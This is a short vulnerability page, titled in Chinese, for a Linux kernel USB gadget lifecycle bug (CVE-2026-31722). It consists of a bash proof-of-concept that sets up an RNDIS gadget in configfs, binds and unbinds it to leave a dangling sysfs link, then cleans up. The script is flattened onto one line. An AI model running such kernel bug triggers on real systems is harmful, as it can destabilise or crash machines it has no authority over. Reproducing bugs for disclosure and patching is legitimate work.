CVE-2026-31722 Linux内核USB Gadget设备生命周期漏洞

#!/bin/bash # PoC for CVE-2026-31722: Trigger dangling sysfs symlink in f_rndis # This script configures a USB gadget with RNDIS and triggers the unbind phase. modprobe libcomposite modprobe usb_f_rndis mkdir -p /sys/kernel/config/usb_gadget/g1 cd /sys/kernel/config/usb_gadget/g1 echo 0x1d6b > idVendor echo 0x0104 > idProduct mkdir -p strings/0x409 echo "1234567890" > strings/0x409/serialnumber echo "PoC" > strings/0x409/manufacturer echo "CVE-2026-31722" > strings/0x409/product mkdir -p functions/rndis.usb0 # Create config mkdir -p configs/c.1/strings/0x409 echo "Conf1" > configs/c.1/strings/0x409/configuration ln -s functions/rndis.usb0 configs/c.1/ # Find a UDC (USB Device Controller) UDC=$(ls /sys/class/udc | head -n 1) if [ -n "$UDC" ]; then echo "[*] Binding to $UDC" echo $UDC > UDC sleep 2 echo "[*] Unbinding to trigger vulnerability..." echo "" > UDC # This triggers the unbind where the bug occurs echo "[*] Check /sys/class/net/usb0 for dangling link" ls -l /sys/class/net/usb0 2>/dev/null || echo "Interface removed or error occurred" else echo "[!] No UDC available to test" fi # Cleanup cd / rm -rf /sys/kernel/config/usb_gadget/g1